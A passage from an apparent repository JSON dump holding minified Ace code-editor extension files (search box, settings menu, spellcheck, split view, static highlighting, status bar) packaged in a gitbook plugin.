e=this.editor.findAll(this.searchInput.value,{regExp:this.regExpOption.checked,caseSensitive:this.caseSensitiveOption.checked,wholeWord:this.wholeWordOption.checked}),t=!e&&this.searchInput.value;r.setCssClass(this.searchBox,\"ace_nomatch\",t),this.editor._emit(\"findSearchBox\",{match:!t}),this.highlight(),this.hide()},this.replace=function(){this.editor.getReadOnly()||this.editor.replace(this.replaceInput.value)},this.replaceAndFindNext=function(){this.editor.getReadOnly()||(this.editor.replace(this.replaceInput.value),this.findNext())},this.replaceAll=function(){this.editor.getReadOnly()||this.editor.replaceAll(this.replaceInput.value)},this.hide=function(){this.element.style.display=\"none\",this.editor.keyBinding.removeKeyboardHandler(this.$closeSearchBarKb),this.editor.focus()},this.show=function(e,t){this.element.style.display=\"\",this.replaceBox.style.display=t?\"\":\"none\",this.isReplace=t,e&&(this.searchInput.value=e),this.find(!1,!1,!0),this.searchInput.focus(),this.searchInput.select(),this.editor.keyBinding.addKeyboardHandler(this.$closeSearchBarKb)},this.isFocused=function(){var e=document.activeElement;return e==this.searchInput||e==this.replaceInput}}).call(l.prototype),t.SearchBox=l,t.Search=function(e,t){var n=e.searchBox||new l(e);n.show(e.session.getTextRange(),t)}});\n                (function() {\n                    window.require([\"ace/ext/searchbox\"], function() {});\n                })();\n            "
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/ext-settings_menu.js",
    "content": "define(\"ace/ext/menu_tools/element_generator\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";n.exports.createOption=function(t){var n,r=document.createElement(\"option\");for(n in t)t.hasOwnProperty(n)&&(n===\"selected\"?r.setAttribute(n,t[n]):r[n]=t[n]);return r},n.exports.createCheckbox=function(t,n,r){var i=document.createElement(\"input\");return i.setAttribute(\"type\",\"checkbox\"),i.setAttribute(\"id\",t),i.setAttribute(\"name\",t),i.setAttribute(\"value\",n),i.setAttribute(\"class\",r),n&&i.setAttribute(\"checked\",\"checked\"),i},n.exports.createInput=function(t,n,r){var i=document.createElement(\"input\");return i.setAttribute(\"type\",\"text\"),i.setAttribute(\"id\",t),i.setAttribute(\"name\",t),i.setAttribute(\"value\",n),i.setAttribute(\"class\",r),i},n.exports.createLabel=function(t,n){var r=document.createElement(\"label\");return r.setAttribute(\"for\",n),r.textContent=t,r},n.exports.createSelection=function(t,r,i){var s=document.createElement(\"select\");return s.setAttribute(\"id\",t),s.setAttribute(\"name\",t),s.setAttribute(\"class\",i),r.forEach(function(e){s.appendChild(n.exports.createOption(e))}),s}}),define(\"ace/ext/modelist\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";function i(e){var t=a.text,n=e.split(/[\\/\\\\]/).pop();for(var i=0;i<r.length;i++)if(r[i].supportsFile(n)){t=r[i];break}return t}var r=[],s=function(e,t,n){this.name=e,this.caption=t,this.mode=\"ace/mode/\"+e,this.extensions=n;if(/\\^/.test(n))var r=n.replace(/\\|(\\^)?/g,function(e,t){return\"$|\"+(t?\"^\":\"^.*\\\\.\")})+\"$\";else var r=\"^.*\\\\.(\"+n+\")$\";this.extRe=new RegExp(r,\"gi\")};s.prototype.supportsFile=function(e){return e.match(this.extRe)};var o={ABAP:[\"abap\"],ABC:[\"abc\"],ActionScript:[\"as\"],ADA:[\"ada|adb\"],Apache_Conf:[\"^htaccess|^htgroups|^htpasswd|^conf|htaccess|htgroups|htpasswd\"],AsciiDoc:[\"asciidoc|adoc\"],Assembly_x86:[\"asm|a\"],AutoHotKey:[\"ahk\"],BatchFile:[\"bat|cmd\"],C_Cpp:[\"cpp|c|cc|cxx|h|hh|hpp|ino\"],C9Search:[\"c9search_results\"],Cirru:[\"cirru|cr\"],Clojure:[\"clj|cljs\"],Cobol:[\"CBL|COB\"],coffee:[\"coffee|cf|cson|^Cakefile\"],ColdFusion:[\"cfm\"],CSharp:[\"cs\"],CSS:[\"css\"],Curly:[\"curly\"],D:[\"d|di\"],Dart:[\"dart\"],Diff:[\"diff|patch\"],Dockerfile:[\"^Dockerfile\"],Dot:[\"dot\"],Dummy:[\"dummy\"],DummySyntax:[\"dummy\"],Eiffel:[\"e|ge\"],EJS:[\"ejs\"],Elixir:[\"ex|exs\"],Elm:[\"elm\"],Erlang:[\"erl|hrl\"],Forth:[\"frt|fs|ldr\"],FTL:[\"ftl\"],Gcode:[\"gcode\"],Gherkin:[\"feature\"],Gitignore:[\"^.gitignore\"],Glsl:[\"glsl|frag|vert\"],golang:[\"go\"],Groovy:[\"groovy\"],HAML:[\"haml\"],Handlebars:[\"hbs|handlebars|tpl|mustache\"],Haskell:[\"hs\"],haXe:[\"hx\"],HTML:[\"html|htm|xhtml\"],HTML_Ruby:[\"erb|rhtml|html.erb\"],HTML_Elixir:[\"eex|html.eex\"],INI:[\"ini|conf|cfg|prefs\"],Io:[\"io\"],Jack:[\"jack\"],Jade:[\"jade\"],Java:[\"java\"],JavaScript:[\"js|jsm|jsx\"],JSON:[\"json\"],JSONiq:[\"jq\"],JSP:[\"jsp\"],JSX:[\"jsx\"],Julia:[\"jl\"],LaTeX:[\"tex|latex|ltx|bib\"],Lean:[\"lean|hlean\"],LESS:[\"less\"],Liquid:[\"liquid\"],Lisp:[\"lisp\"],LiveScript:[\"ls\"],LogiQL:[\"logic|lql\"],LSL:[\"lsl\"],Lua:[\"lua\"],LuaPage:[\"lp\"],Lucene:[\"lucene\"],Makefile:[\"^Makefile|^GNUmakefile|^makefile|^OCamlMakefile|make\"],Markdown:[\"md|markdown\"],Mask:[\"mask\"],MATLAB:[\"matlab\"],Maze:[\"mz\"],MEL:[\"mel\"],MUSHCode:[\"mc|mush\"],MySQL:[\"mysql\"],Nix:[\"nix\"],ObjectiveC:[\"m|mm\"],OCaml:[\"ml|mli\"],Pascal:[\"pas|p\"],Perl:[\"pl|pm\"],pgSQL:[\"pgsql\"],PHP:[\"php|phtml|shtml|php3|php4|php5|phps|phpt|aw|ctp\"],Powershell:[\"ps1\"],Praat:[\"praat|praatscript|psc|proc\"],Prolog:[\"plg|prolog\"],Properties:[\"properties\"],Protobuf:[\"proto\"],Python:[\"py\"],R:[\"r\"],RDoc:[\"Rd\"],RHTML:[\"Rhtml\"],Ruby:[\"rb|ru|gemspec|rake|^Guardfile|^Rakefile|^Gemfile\"],Rust:[\"rs\"],SASS:[\"sass\"],SCAD:[\"scad\"],Scala:[\"scala\"],Scheme:[\"scm|sm|rkt|oak|scheme\"],SCSS:[\"scss\"],SH:[\"sh|bash|^.bashrc\"],SJS:[\"sjs\"],Smarty:[\"smarty|tpl\"],snippets:[\"snippets\"],Soy_Template:[\"soy\"],Space:[\"space\"],SQL:[\"sql\"],SQLServer:[\"sqlserver\"],Stylus:[\"styl|stylus\"],SVG:[\"svg\"],Swift:[\"swift\"],Tcl:[\"tcl\"],Tex:[\"tex\"],Text:[\"txt\"],Textile:[\"textile\"],Toml:[\"toml\"],Twig:[\"twig|swig\"],Typescript:[\"ts|typescript|str\"],Vala:[\"vala\"],VBScript:[\"vbs|vb\"],Velocity:[\"vm\"],Verilog:[\"v|vh|sv|svh\"],VHDL:[\"vhd|vhdl\"],XML:[\"xml|rdf|rss|wsdl|xslt|atom|mathml|mml|xul|xbl|xaml\"],XQuery:[\"xq\"],YAML:[\"yaml|yml\"],Django:[\"html\"]},u={ObjectiveC:\"Objective-C\",CSharp:\"C#\",golang:\"Go\",C_Cpp:\"C and C++\",coffee:\"CoffeeScript\",HTML_Ruby:\"HTML (Ruby)\",HTML_Elixir:\"HTML (Elixir)\",FTL:\"FreeMarker\"},a={};for(var f in o){var l=o[f],c=(u[f]||f).replace(/_/g,\" \"),h=f.toLowerCase(),p=new s(h,c,l[0]);a[h]=p,r.push(p)}n.exports={getModeForPath:i,modes:r,modesByName:a}}),define(\"ace/ext/themelist\",[\"require\",\"exports\",\"module\",\"ace/lib/fixoldbrowsers\"],function(e,t,n){\"use strict\";e(\"ace/lib/fixoldbrowsers\");var r=[[\"Chrome\"],[\"Clouds\"],[\"Crimson Editor\"],[\"Dawn\"],[\"Dreamweaver\"],[\"Eclipse\"],[\"GitHub\"],[\"IPlastic\"],[\"Solarized Light\"],[\"TextMate\"],[\"Tomorrow\"],[\"XCode\"],[\"Kuroir\"],[\"KatzenMilch\"],[\"SQL Server\",\"sqlserver\",\"light\"],[\"Ambiance\",\"ambiance\",\"dark\"],[\"Chaos\",\"chaos\",\"dark\"],[\"Clouds Midnight\",\"clouds_midnight\",\"dark\"],[\"Cobalt\",\"cobalt\",\"dark\"],[\"idle Fingers\",\"idle_fingers\",\"dark\"],[\"krTheme\",\"kr_theme\",\"dark\"],[\"Merbivore\",\"merbivore\",\"dark\"],[\"Merbivore Soft\",\"merbivore_soft\",\"dark\"],[\"Mono Industrial\",\"mono_industrial\",\"dark\"],[\"Monokai\",\"monokai\",\"dark\"],[\"Pastel on dark\",\"pastel_on_dark\",\"dark\"],[\"Solarized Dark\",\"solarized_dark\",\"dark\"],[\"Terminal\",\"terminal\",\"dark\"],[\"Tomorrow Night\",\"tomorrow_night\",\"dark\"],[\"Tomorrow Night Blue\",\"tomorrow_night_blue\",\"dark\"],[\"Tomorrow Night Bright\",\"tomorrow_night_bright\",\"dark\"],[\"Tomorrow Night 80s\",\"tomorrow_night_eighties\",\"dark\"],[\"Twilight\",\"twilight\",\"dark\"],[\"Vibrant Ink\",\"vibrant_ink\",\"dark\"]];t.themesByName={},t.themes=r.map(function(e){var n=e[1]||e[0].replace(/ /g,\"_\").toLowerCase(),r={caption:e[0],theme:\"ace/theme/\"+n,isDark:e[2]==\"dark\",name:n};return t.themesByName[n]=r,r})}),define(\"ace/ext/menu_tools/add_editor_menu_options\",[\"require\",\"exports\",\"module\",\"ace/ext/modelist\",\"ace/ext/themelist\"],function(e,t,n){\"use strict\";n.exports.addEditorMenuOptions=function(n){var r=e(\"../modelist\"),i=e(\"../themelist\");n.menuOptions={setNewLineMode:[{textContent:\"unix\",value:\"unix\"},{textContent:\"windows\",value:\"windows\"},{textContent:\"auto\",value:\"auto\"}],setTheme:[],setMode:[],setKeyboardHandler:[{textContent:\"ace\",value:\"\"},{textContent:\"vim\",value:\"ace/keyboard/vim\"},{textContent:\"emacs\",value:\"ace/keyboard/emacs\"},{textContent:\"textarea\",value:\"ace/keyboard/textarea\"},{textContent:\"sublime\",value:\"ace/keyboard/sublime\"}]},n.menuOptions.setTheme=i.themes.map(function(e){return{textContent:e.caption,value:e.theme}}),n.menuOptions.setMode=r.modes.map(function(e){return{textContent:e.name,value:e.mode}})}}),define(\"ace/ext/menu_tools/get_set_functions\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";n.exports.getSetFunctions=function(t){var n=[],r={editor:t,session:t.session,renderer:t.renderer},i=[],s=[\"setOption\",\"setUndoManager\",\"setDocument\",\"setValue\",\"setBreakpoints\",\"setScrollTop\",\"setScrollLeft\",\"setSelectionStyle\",\"setWrapLimitRange\"];return[\"renderer\",\"session\",\"editor\"].forEach(function(e){var t=r[e],o=e;for(var u in t)s.indexOf(u)===-1&&/^set/.test(u)&&i.indexOf(u)===-1&&(i.push(u),n.push({functionName:u,parentObj:t,parentName:o}))}),n}}),define(\"ace/ext/menu_tools/generate_settings_menu\",[\"require\",\"exports\",\"module\",\"ace/ext/menu_tools/element_generator\",\"ace/ext/menu_tools/add_editor_menu_options\",\"ace/ext/menu_tools/get_set_functions\",\"ace/ace\"],function(e,t,n){\"use strict\";var r=e(\"./element_generator\"),i=e(\"./add_editor_menu_options\").addEditorMenuOptions,s=e(\"./get_set_functions\").getSetFunctions;n.exports.generateSettingsMenu=function(n){function u(){o.sort(function(e,t){var n=e.getAttribute(\"contains\"),r=t.getAttribute(\"contains\");return n.localeCompare(r)})}function a(){var t=document.createElement(\"div\");t.setAttribute(\"id\",\"ace_settingsmenu\"),o.forEach(function(e){t.appendChild(e)});var n=t.appendChild(document.createElement(\"div\")),r=e(\"../../ace\").version;return n.style.padding=\"1em\",n.textContent=\"Ace version \"+r,t}function f(e,t,i,s){var o,u=document.createElement(\"div\");return u.setAttribute(\"contains\",i),u.setAttribute(\"class\",\"ace_optionsMenuEntry\"),u.setAttribute(\"style\",\"clear: both;\"),u.appendChild(r.createLabel(i.replace(/^set/,\"\").replace(/([A-Z])/g,\" $1\").trim(),i)),Array.isArray(s)?(o=r.createSelection(i,s,t),o.addEventListener(\"change\",function(t){try{n.menuOptions[t.target.id].forEach(function(e){e.textContent!==t.target.textContent&&delete e.selected}),e[t.target.id](t.target.value)}catch(r){throw new Error(r)}})):typeof s==\"boolean\"?(o=r.createCheckbox(i,s,t),o.addEventListener(\"change\",function(t){try{e[t.target.id](!!t.target.checked)}catch(n){throw new Error(n)}})):(o=r.createInput(i,s,t),o.addEventListener(\"change\",function(t){try{t.target.value===\"true\"?e[t.target.id](!0):t.target.value===\"false\"?e[t.target.id](!1):e[t.target.id](t.target.value)}catch(n){throw new Error(n)}})),o.style.cssText=\"float:right;\",u.appendChild(o),u}function l(e,t,r,i){var s=n.menuOptions[e],o=t[i]();return typeof o==\"object\"&&(o=o.$id),s.forEach(function(e){e.value===o&&(e.selected=\"selected\")}),f(t,r,e,s)}function c(e){var t=e.functionName,r=e.parentObj,i=e.parentName,s,u=t.replace(/^set/,\"get\");if(n.menuOptions[t]!==undefined)o.push(l(t,r,i,u));else if(typeof r[u]==\"function\")try{s=r[u](),typeof s==\"object\"&&(s=s.$id),o.push(f(r,i,t,s))}catch(a){}}var o=[];return i(n),s(n).forEach(function(e){c(e)}),u(),a()}}),define(\"ace/ext/menu_tools/overlay_page\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/dom\"),i=\"#ace_settingsmenu, #kbshortcutmenu {background-color: #F7F7F7;color: black;box-shadow: -5px 4px 5px rgba(126, 126, 126, 0.55);padding: 1em 0.5em 2em 1em;overflow: auto;position: absolute;margin: 0;bottom: 0;right: 0;top: 0;z-index: 9991;cursor: default;}.ace_dark #ace_settingsmenu, .ace_dark #kbshortcutmenu {box-shadow: -20px 10px 25px rgba(126, 126, 126, 0.25);background-color: rgba(255, 255, 255, 0.6);color: black;}.ace_optionsMenuEntry:hover {background-color: rgba(100, 100, 100, 0.1);-webkit-transition: all 0.5s;transition: all 0.3s}.ace_closeButton {background: rgba(245, 146, 146, 0.5);border: 1px solid #F48A8A;border-radius: 50%;padding: 7px;position: absolute;right: -8px;top: -8px;z-index: 1000;}.ace_closeButton{background: rgba(245, 146, 146, 0.9);}.ace_optionsMenuKey {color: darkslateblue;font-weight: bold;}.ace_optionsMenuCommand {color: darkcyan;font-weight: normal;}\";r.importCssString(i),n.exports.overlayPage=function(t,n,i,s,o,u){function l(e){e.keyCode===27&&a.click()}i=i?\"top: \"+i+\";\":\"\",o=o?\"bottom: \"+o+\";\":\"\",s=s?\"right: \"+s+\";\":\"\",u=u?\"left: \"+u+\";\":\"\";var a=document.createElement(\"div\"),f=document.createElement(\"div\");a.style.cssText=\"margin: 0; padding: 0; position: fixed; top:0; bottom:0; left:0; right:0;z-index: 9990; background-color: rgba(0, 0, 0, 0.3);\",a.addEventListener(\"click\",function(){document.removeEventListener(\"keydown\",l),a.parentNode.removeChild(a),t.focus(),a=null}),document.addEventListener(\"keydown\",l),f.style.cssText=i+s+o+u,f.addEventListener(\"click\",function(e){e.stopPropagation()});var c=r.createElement(\"div\");c.style.position=\"relative\";var h=r.createElement(\"div\");h.className=\"ace_closeButton\",h.addEventListener(\"click\",function(){a.click()}),c.appendChild(h),f.appendChild(c),f.appendChild(n),a.appendChild(f),document.body.appendChild(a),t.blur()}}),define(\"ace/ext/settings_menu\",[\"require\",\"exports\",\"module\",\"ace/ext/menu_tools/generate_settings_menu\",\"ace/ext/menu_tools/overlay_page\",\"ace/editor\"],function(e,t,n){\"use strict\";function s(e){var t=document.getElementById(\"ace_settingsmenu\");t||i(e,r(e),\"0\",\"0\",\"0\")}var r=e(\"./menu_tools/generate_settings_menu\").generateSettingsMenu,i=e(\"./menu_tools/overlay_page\").overlayPage;n.exports.init=function(t){var n=e(\"ace/editor\").Editor;n.prototype.showSettingsMenu=function(){s(this)}}});\n                (function() {\n                    window.require([\"ace/ext/settings_menu\"], function() {});\n                })();\n            "
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/ext-spellcheck.js",
    "content": "define(\"ace/ext/spellcheck\",[\"require\",\"exports\",\"module\",\"ace/lib/event\",\"ace/editor\",\"ace/config\"],function(e,t,n){\"use strict\";var r=e(\"../lib/event\");t.contextMenuHandler=function(e){var t=e.target,n=t.textInput.getElement();if(!t.selection.isEmpty())return;var i=t.getCursorPosition(),s=t.session.getWordRange(i.row,i.column),o=t.session.getTextRange(s);t.session.tokenRe.lastIndex=0;if(!t.session.tokenRe.test(o))return;var u=\"\u0001\u0001\",a=o+\" \"+u;n.value=a,n.setSelectionRange(o.length,o.length+1),n.setSelectionRange(0,0),n.setSelectionRange(0,o.length);var f=!1;r.addListener(n,\"keydown\",function l(){r.removeListener(n,\"keydown\",l),f=!0}),t.textInput.setInputHandler(function(e){console.log(e,a,n.selectionStart,n.selectionEnd);if(e==a)return\"\";if(e.lastIndexOf(a,0)===0)return e.slice(a.length);if(e.substr(n.selectionEnd)==a)return e.slice(0,-a.length);if(e.slice(-2)==u){var r=e.slice(0,-2);if(r.slice(-1)==\" \")return f?r.substring(0,n.selectionEnd):(r=r.slice(0,-1),t.session.replace(s,r),\"\")}return e})};var i=e(\"../editor\").Editor;e(\"../config\").defineOptions(i.prototype,\"editor\",{spellcheck:{set:function(e){var n=this.textInput.getElement();n.spellcheck=!!e,e?this.on(\"nativecontextmenu\",t.contextMenuHandler):this.removeListener(\"nativecontextmenu\",t.contextMenuHandler)},value:!0}})});\n                (function() {\n                    window.require([\"ace/ext/spellcheck\"], function() {});\n                })();\n            "
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/ext-split.js",
    "content": "define(\"ace/split\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/lib/event_emitter\",\"ace/editor\",\"ace/virtual_renderer\",\"ace/edit_session\"],function(e,t,n){\"use strict\";function l(e,t){this.$u=e,this.$doc=t}var r=e(\"./lib/oop\"),i=e(\"./lib/lang\"),s=e(\"./lib/event_emitter\").EventEmitter,o=e(\"./editor\").Editor,u=e(\"./virtual_renderer\").VirtualRenderer,a=e(\"./edit_session\").EditSession,f=function(e,t,n){this.BELOW=1,this.BESIDE=0,this.$container=e,this.$theme=t,this.$splits=0,this.$editorCSS=\"\",this.$editors=[],this.$orientation=this.BESIDE,this.setSplits(n||1),this.$cEditor=this.$editors[0],this.on(\"focus\",function(e){this.$cEditor=e}.bind(this))};(function(){r.implement(this,s),this.$createEditor=function(){var e=document.createElement(\"div\");e.className=this.$editorCSS,e.style.cssText=\"position: absolute; top:0px; bottom:0px\",this.$container.appendChild(e);var t=new o(new u(e,this.$theme));return t.on(\"focus\",function(){this._emit(\"focus\",t)}.bind(this)),this.$editors.push(t),t.setFontSize(this.$fontSize),t},this.setSplits=function(e){var t;if(e<1)throw\"The number of splits have to be > 0!\";if(e==this.$splits)return;if(e>this.$splits){while(this.$splits<this.$editors.length&&this.$splits<e)t=this.$editors[this.$splits],this.$container.appendChild(t.container),t.setFontSize(this.$fontSize),this.$splits++;while(this.$splits<e)this.$createEditor(),this.$splits++}else while(this.$splits>e)t=this.$editors[this.$splits-1],this.$container.removeChild(t.container),this.$splits--;this.resize()},this.getSplits=function(){return this.$splits},this.getEditor=function(e){return this.$editors[e]},this.getCurrentEditor=function(){return this.$cEditor},this.focus=function(){this.$cEditor.focus()},this.blur=function(){this.$cEditor.blur()},this.setTheme=function(e){this.$editors.forEach(function(t){t.setTheme(e)})},this.setKeyboardHandler=function(e){this.$editors.forEach(function(t){t.setKeyboardHandler(e)})},this.forEach=function(e,t){this.$editors.forEach(e,t)},this.$fontSize=\"\",this.setFontSize=function(e){this.$fontSize=e,this.forEach(function(t){t.setFontSize(e)})},this.$cloneSession=function(e){var t=new a(e.getDocument(),e.getMode()),n=e.getUndoManager();if(n){var r=new l(n,t);t.setUndoManager(r)}return t.$informUndoManager=i.delayedCall(function(){t.$deltas=[]}),t.setTabSize(e.getTabSize()),t.setUseSoftTabs(e.getUseSoftTabs()),t.setOverwrite(e.getOverwrite()),t.setBreakpoints(e.getBreakpoints()),t.setUseWrapMode(e.getUseWrapMode()),t.setUseWorker(e.getUseWorker()),t.setWrapLimitRange(e.$wrapLimitRange.min,e.$wrapLimitRange.max),t.$foldData=e.$cloneFoldData(),t},this.setSession=function(e,t){var n;t==null?n=this.$cEditor:n=this.$editors[t];var r=this.$editors.some(function(t){return t.session===e});return r&&(e=this.$cloneSession(e)),n.setSession(e),e},this.getOrientation=function(){return this.$orientation},this.setOrientation=function(e){if(this.$orientation==e)return;this.$orientation=e,this.resize()},this.resize=function(){var e=this.$container.clientWidth,t=this.$container.clientHeight,n;if(this.$orientation==this.BESIDE){var r=e/this.$splits;for(var i=0;i<this.$splits;i++)n=this.$editors[i],n.container.style.width=r+\"px\",n.container.style.top=\"0px\",n.container.style.left=i*r+\"px\",n.container.style.height=t+\"px\",n.resize()}else{var s=t/this.$splits;for(var i=0;i<this.$splits;i++)n=this.$editors[i],n.container.style.width=e+\"px\",n.container.style.top=i*s+\"px\",n.container.style.left=\"0px\",n.container.style.height=s+\"px\",n.resize()}}}).call(f.prototype),function(){this.execute=function(e){this.$u.execute(e)},this.undo=function(){var e=this.$u.undo(!0);e&&this.$doc.selection.setSelectionRange(e)},this.redo=function(){var e=this.$u.redo(!0);e&&this.$doc.selection.setSelectionRange(e)},this.reset=function(){this.$u.reset()},this.hasUndo=function(){return this.$u.hasUndo()},this.hasRedo=function(){return this.$u.hasRedo()}}.call(l.prototype),t.Split=f}),define(\"ace/ext/split\",[\"require\",\"exports\",\"module\",\"ace/split\"],function(e,t,n){\"use strict\";n.exports=e(\"../split\")});\n                (function() {\n                    window.require([\"ace/ext/split\"], function() {});\n                })();\n            "
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/ext-static_highlight.js",
    "content": "define(\"ace/ext/static_highlight\",[\"require\",\"exports\",\"module\",\"ace/edit_session\",\"ace/layer/text\",\"ace/config\",\"ace/lib/dom\"],function(e,t,n){\"use strict\";var r=e(\"../edit_session\").EditSession,i=e(\"../layer/text\").Text,s=\".ace_static_highlight {font-family: 'Monaco', 'Menlo', 'Ubuntu Mono', 'Consolas', 'source-code-pro', 'Droid Sans Mono', monospace;font-size: 12px;white-space: pre-wrap}.ace_static_highlight .ace_gutter {width: 2em;text-align: right;padding: 0 3px 0 0;margin-right: 3px;}.ace_static_highlight.ace_show_gutter .ace_line {padding-left: 2.6em;}.ace_static_highlight .ace_line { position: relative; }.ace_static_highlight .ace_gutter-cell {-moz-user-select: -moz-none;-khtml-user-select: none;-webkit-user-select: none;user-select: none;top: 0;bottom: 0;left: 0;position: absolute;}.ace_static_highlight .ace_gutter-cell:before {content: counter(ace_line, decimal);counter-increment: ace_line;}.ace_static_highlight {counter-reset: ace_line;}\",o=e(\"../config\"),u=e(\"../lib/dom\"),a=function(){this.config={}};a.prototype=i.prototype;var f=function(e,t,n){var r=e.className.match(/lang-(\\w+)/),i=t.mode||r&&\"ace/mode/\"+r[1];if(!i)return!1;var s=t.theme||\"ace/theme/textmate\",o=\"\",a=[];if(e.firstElementChild){var l=0;for(var c=0;c<e.childNodes.length;c++){var h=e.childNodes[c];h.nodeType==3?(l+=h.data.length,o+=h.data):a.push(l,h)}}else o=u.getInnerText(e),t.trim&&(o=o.trim());f.render(o,i,s,t.firstLineNumber,!t.showGutter,function(t){u.importCssString(t.css,\"ace_highlight\"),e.innerHTML=t.html;var r=e.firstChild.firstChild;for(var i=0;i<a.length;i+=2){var s=t.session.doc.indexToPosition(a[i]),o=a[i+1],f=r.children[s.row];f&&f.appendChild(o)}n&&n()})};f.render=function(e,t,n,i,s,u){function h(){var r=f.renderSync(e,t,n,i,s);return u?u(r):r}var a=1,l=r.prototype.$modes;typeof n==\"string\"&&(a++,o.loadModule([\"theme\",n],function(e){n=e,--a||h()}));var c;return t&&typeof t==\"object\"&&!t.getTokenizer&&(c=t,t=c.path),typeof t==\"string\"&&(a++,o.loadModule([\"mode\",t],function(e){if(!l[t]||c)l[t]=new e.Mode(c);t=l[t],--a||h()})),--a||h()},f.renderSync=function(e,t,n,i,o){i=parseInt(i||1,10);var u=new r(\"\");u.setUseWorker(!1),u.setMode(t);var f=new a;f.setSession(u),u.setValue(e);var l=[],c=u.getLength();for(var h=0;h<c;h++)l.push(\"<div class='ace_line'>\"),o||l.push(\"<span class='ace_gutter ace_gutter-cell' unselectable='on'></span>\"),f.$renderLine(l,h,!0,!1),l.push(\"\\n</div>\");var p=\"<div class='\"+n.cssClass+\"'>\"+\"<div class='ace_static_highlight\"+(o?\"\":\" ace_show_gutter\")+\"' style='counter-reset:ace_line \"+(i-1)+\"'>\"+l.join(\"\")+\"</div>\"+\"</div>\";return f.destroy(),{css:s+n.cssText,html:p,session:u}},n.exports=f,n.exports.highlight=f});\n                (function() {\n                    window.require([\"ace/ext/static_highlight\"], function() {});\n                })();\n            "
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/ext-statusbar.js",
    "content": "define(\"ace/ext/statusbar\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"ace/lib/dom\"),i=e(\"ace/lib/lang\"),s=function(e,t){this.element=r.createElement(\"div\"),this.element.className=\"ace_status-indicator\",this.element.style.cssText=\"display: inline-block;\",t.appendChild(this.element);var n=i.delayedCall(function(){this.updateStatus(e)}.bind(this)).schedule.bind(null,100);e.on(\"changeStatus\",n),e.on(\"changeSelection\",n),e.on(\"keyboardActivity\",n)};(function(){this.updateStatus=function(e){function n(e,n){e&&t.push(e,n||\"|\")}var t=[];n(e.keyBinding.getStatusText(e)),e.commands.recording&&n(\"REC\");var r=e.selection,i=r.lead;if(!r.isEmpty()){var s=e.getSelectionRange();n(\"(\"+(s.end.row-s.start.row)+\":\"+(s.end.column-s.start.column)+\")\",\" \")}n(i.row+\":\"+i.column,\" \"),r.rangeCount&&n(\"[\"+r.rangeCount+\"]\",\" \"),t.pop(),this.element.textContent=t.join(\"\")}}).call(s.prototype),t.StatusBar=s});\n                (function() {\n                    window.require([\"ace/ext/statusbar\"], function() {});\n                })();\n            "
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/ext-textarea.js",
    "content": "define(\"ace/theme/textmate\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){\"use strict\";t.isDark=!1,t.cssClass=\"ace-tm\",t.cssText='.ace-tm .ace_gutter {background: #f0f0f0;color: #333;}.ace-tm .ace_print-margin {width: 1px;background: #e8e8e8;}.ace-tm .ace_fold {background-color: #6B72E6;}.ace-tm {background-color: #FFFFFF;color: black;}.ace-tm .ace_cursor {color: black;}.ace-tm .ace_invisible {color: rgb(191, 191, 191);}.ace-tm .ace_storage,.ace-tm .ace_keyword {color: blue;}.ace-tm .ace_constant {color: rgb(197, 6, 11);}.ace-tm .ace_constant.ace_buildin {color: rgb(88, 72, 246);}.ace-tm .ace_constant.ace_language {color: rgb(88, 92, 246);}.ace-tm .ace_constant.ace_library {color: rgb(6, 150, 14);}.ace-tm .ace_invalid {background-color: rgba(255, 0, 0, 0.1);color: red;}.ace-tm .ace_support.ace_function {color: rgb(60, 76, 114);}.ace-tm .ace_support.ace_constant {color: rgb(6, 150, 14);}.ace-tm .ace_support.ace_type,.ace-tm .ace_support.ace_class {color: rgb(109, 121, 222);}.ace-tm .ace_keyword.ace_operator {color: rgb(104, 118, 135);}.ace-tm .ace_string {color: rgb(3, 106, 7);}.ace-tm .ace_comment {color: rgb(76, 136, 107);}.ace-tm .ace_comment.ace_doc {color: rgb(0, 102, 255);}.ace-tm .ace_comment.ace_doc.ace_tag {color: rgb(128, 159, 191);}.ace-tm .ace_constant.ace_numeric {color: rgb(0, 0, 205);}.ace-tm .ace_variable {color: rgb(49, 132, 149);}.ace-tm .ace_xml-pe {color: rgb(104, 104, 91);}.ace-tm .ace_entity.ace_name.ace_function {color: #0000A2;}.ace-tm .ace_heading {color: rgb(12, 7, 255);}.ace-tm .ace_list {color:rgb(185, 6, 144);}.ace-tm .ace_meta.ace_tag {color:rgb(0, 22, 142);}.ace-tm .ace_string.ace_regex {color: rgb(255, 0, 0)}.ace-tm .ace_marker-layer .ace_selection {background: rgb(181, 213, 255);}.ace-tm.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px white;}.ace-tm .ace_marker-layer .ace_step {background: rgb(252, 255, 0);}.ace-tm .ace_marker-layer .ace_stack {background: rgb(164, 229, 101);}.ace-tm .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgb(192, 192, 192);}.ace-tm .ace_marker-layer .ace_active-line {background: rgba(0, 0, 0, 0.07);}.ace-tm .ace_gutter-active-line {background-color : #dcdcdc;}.ace-tm .ace_marker-layer .ace_selected-word {background: rgb(250, 250, 255);border: 1px solid rgb(200, 200, 250);}.ace-tm .ace_indent-guide {background: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAE0lEQVQImWP4////f4bLly//BwAmVgd1/w11/gAAAABJRU5ErkJggg==\") right repeat-y;}';var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)}),define(\"ace/ext/textarea\",[\"require\",\"exports\",\"module\",\"ace/lib/event\",\"ace/lib/useragent\",\"ace/lib/net\",\"ace/ace\",\"ace/theme/textmate\"],function(e,t,n){\"use strict\";function 